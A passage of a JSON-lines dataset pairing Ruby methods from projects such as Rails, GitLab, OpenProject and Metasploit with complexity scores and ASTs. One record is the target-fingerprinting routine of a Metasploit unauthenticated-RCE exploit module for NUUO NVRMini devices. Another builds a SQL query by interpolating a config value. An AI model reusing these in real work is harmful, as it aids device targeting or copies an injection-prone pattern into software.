end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"approval_policy_rule_project_links\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"approval_policy_rule_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"approval_policy_rule_id\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}]}","id":"ada31405-5fd8-4685-a6d1-72641f5fbfa1"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/formattable.rb","start_line":62,"raw_source":"def to_html\n        format_text(raw_text, format: @format, object: @object)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format_text\",{\"type\":\"send\",\"children\":[null,\"raw_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"ivar\",\"children\":[\"@format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"ivar\",\"children\":[\"@object\"]}]}]}]}]}","id":"5c78f241-cc84-4b68-ad30-51cebd6eddc9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntlm/base.rb","start_line":143,"raw_source":"def parse(str, offset=0)\n      if @active and str.size >= offset + @size\n        d, u = str.slice(offset, @size).unpack(\"V2\")\n        @value = (u * 0x100000000 + d)\n        @size\n      else\n        0\n      end\n    end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"optarg\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"size\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@size\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\"]},{\"type\":\"lvasgn\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"ivar\",\"children\":[\"@size\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V2\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"*\",{\"type\":\"int\",\"children\":[4294967296]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@size\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"d0c928ef-c58a-424f-9373-9540a4610549"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/maria_db/client.rb","start_line":15,"raw_source":"def discover(connection_config)\n        connection_config = connection_config.with_indifferent_access\n        query = \"SELECT table_name, column_name, data_type, is_nullable\n                 FROM information_schema.columns\n                 WHERE table_schema = '#{connection_config[:database]}'\n                 ORDER BY table_name, ordinal_position;\"\n\n        db = create_connection(connection_config)\n        records = db.fetch(query) do |result|\n          result.map do |row|\n            row\n          end\n        end\n        catalog = Catalog.new(streams: create_streams(records))\n        catalog.to_multiwoven_message\n      rescue StandardError => e\n        handle_exception(\n          \"MARIA:DB:DISCOVER:EXCEPTION\",\n          \"error\",\n          e\n        )\n      end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"discover\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT table_name, column_name, data_type, is_nullable\\n\"]},{\"type\":\"str\",\"children\":[\"                 FROM information_schema.columns\\n\"]},{\"type\":\"str\",\"children\":[\"                 WHERE table_schema = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"database\"]}]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"                 ORDER BY table_name, ordinal_position;\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"catalog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Catalog\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"streams\"]},{\"type\":\"send\",\"children\":[null,\"create_streams\",{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"to_multiwoven_message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"str\",\"children\":[\"MARIA:DB:DISCOVER:EXCEPTION\"]},{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"f82dda18-02ed-4469-a5d2-a6a516657c07"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb","start_line":90,"raw_source":"def id_target\n    return target if target.name != 'Automatic'\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['TARGETURI'])\n    })\n    if res && res.code == 200\n      if res.body.to_s =~ /var VENDOR_NAME = \"Netgear\";/\n        print_status(\"#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.\")\n        return targets[2]\n      else\n        print_status(\"#{peer} - Identified NUUO NVRMini 2 as the target.\")\n        return targets[1]\n      end\n    end\n  end","complexity_score":32.08,"ast_json":"{\"type\":\"def\",\"children\":[\"id_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"var VENDOR_NAME = \\\"Netgear\\\";\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Identified NETGEAR ReadyNAS Surveillance as the target.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Identified NUUO NVRMini 2 as the target.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},null]}]}]}","id":"14023b5b-bf15-486d-ac3e-b22e88ae0eb1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/autocorrect_logic.rb","start_line":108,"raw_source":"def string_continuation?(node)\n        node.any_str_type? && node.source.match?(/\\\\\\s*$/)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"string_continuation?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"any_str_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"d4aa85d3-2f1f-460d-bd4c-819b9c34e2b5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb","start_line":89,"raw_source":"def connection_pool_names # :nodoc:\n        connection_name_to_pool_manager.keys\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connection_pool_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection_name_to_pool_manager\"]},\"keys\"]}]}","id":"eb534665-523d-4ed7-bfcb-240112f5b6d8"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/attachments.rb","start_line":34,"raw_source":"def self.table(migration) # rubocop:disable Metrics/AbcSize\n    create_table migration do |t|\n      t.bigint :container_id, default: nil, null: true\n      t.string :container_type, limit: 30, null: true\n      t.string :filename, default: \"\", null: false\n      t.string :disk_filename, default: \"\", null: false\n      t.integer :filesize, default: 0, null: false, limit: 8\n      t.string :content_type, default: \"\"\n      t.string :digest, limit: 40, default: \"\", null: false\n      t.integer :downloads, default: 0, null: false\n      t.bigint :author_id, null: false\n      t.datetime :created_at, precision: nil\n      t.string :description\n      t.string :file\n      t.text :fulltext, limit: 4.megabytes\n      t.tsvector :fulltext_tsv\n      t.tsvector :file_tsv\n      t.datetime :updated_at, precision: nil\n      t.integer :status, default: 0, null: false\n\n      t.index :author_id, name: \"index_attachments_on_author_id\"\n      t.index %i[container_id container_type], name: \"index_attachments_on_container_id_and_container_type\"\n      t.index :created_at, name: \"index_attachments_on_created_at\"\n      t.index :fulltext_tsv, using: \"gin\"\n      t.index :file_tsv, using: \"gin\"\n    end\n  end","complexity_score":31.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"container_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"container_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"disk_filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"filesize\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[40]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"downloads\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"fulltext\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"megabytes\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"tsvector\",{\"type\":\"sym\",\"children\":[\"fulltext_tsv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"tsvector\",{\"type\":\"sym\",\"children\":[\"file_tsv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_attachments_on_author_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_id\"]},{\"type\":\"sym\",\"children\":[\"container_type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_attachments_on_container_id_and_container_type\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_attachments_on_created_at\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"fulltext_tsv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"str\",\"children\":[\"gin\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"file_tsv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"str\",\"children\":[\"gin\"]}]}]}]}]}]}]}","id":"3931ed7b-a3e8-41d6-8e6a-52da89a9526b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/plugin_generator_test.rb","start_line":246,"raw_source":"def test_custom_database_dependency\n    run_generator [destination_root, \"-d\", \"mysql\"]\n    assert_file \"test/dummy/config/database.yml\", /mysql/\n    assert_file \"Gemfile\", /mysql/\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_custom_database_dependency\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"mysql\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/dummy/config/database.yml\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mysql\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mysql\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"1143d0f2-2c1c-496f-97fe-21ffd33bf61e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/build_service.rb","start_line":7,"raw_source":"def execute\n      @params_issue_iid = params.delete(:issue_iid)\n      self.merge_request = MergeRequest.new\n      # TODO: this should handle all quick actions that don't have side effects\n      # https://gitlab.com/gitlab-org/gitlab-foss/issues/53658\n      merge_quick_actions_into_params!(merge_request, params: params, only: [:target_branch])\n\n      # Assign the projects first so we can use policies for `filter_params`\n      merge_request.author = current_user\n      merge_request.source_project = find_source_project\n      merge_request.target_project = find_target_project\n\n      initialize_callbacks!(merge_request)\n\n      process_params\n\n      merge_request.compare_commits = []\n      set_merge_request_target_branch\n\n      merge_request.can_be_created = projects_and_branches_valid?\n\n      # compare branches only if branches are valid, otherwise\n      # compare_branches may raise an error\n      if merge_request.can_be_created\n        compare_branches\n        assign_title_and_description\n        assign_labels\n        assign_milestone\n      end\n\n      merge_request\n    end","complexity_score":35.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@params_issue_iid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"issue_iid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"merge_request=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"merge_quick_actions_into_params!\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"author=\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"source_project=\",{\"type\":\"send\",\"children\":[null,\"find_source_project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"target_project=\",{\"type\":\"send\",\"children\":[null,\"find_target_project\"]}]},{\"type\":\"send\",\"children\":[null,\"initialize_callbacks!\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"process_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"compare_commits=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"set_merge_request_target_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"can_be_created=\",{\"type\":\"send\",\"children\":[null,\"projects_and_branches_valid?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"can_be_created\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare_branches\"]},{\"type\":\"send\",\"children\":[null,\"assign_title_and_description\"]},{\"type\":\"send\",\"children\":[null,\"assign_labels\"]},{\"type\":\"send\",\"children\":[null,\"assign_milestone\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]}]}","id":"222a115d-2f97-46e2-9db0-962b958897d6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/lib/grids/configuration.rb","start_line":121,"raw_source":"def writable?(grid, user)\n      grid_register[grid.class.to_s]&.writable?(grid, user)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"writable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"grid\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grid_register\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grid\"]},\"class\"]},\"to_s\"]}]},\"writable?\",{\"type\":\"lvar\",\"children\":[\"grid\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"a819d36b-a733-48e6-aaf3-759ca1f96448"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":1403,"raw_source":"def test_transactions_state_from_rollback\n    connection = Topic.lease_connection\n    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction\n\n    assert_predicate transaction, :open?\n    assert_not_predicate transaction.state, :rolledback?\n    assert_not_predicate transaction.state, :committed?\n\n    transaction.rollback\n\n    assert_predicate transaction.state, :rolledback?\n    assert_not_predicate transaction.state, :committed?\n  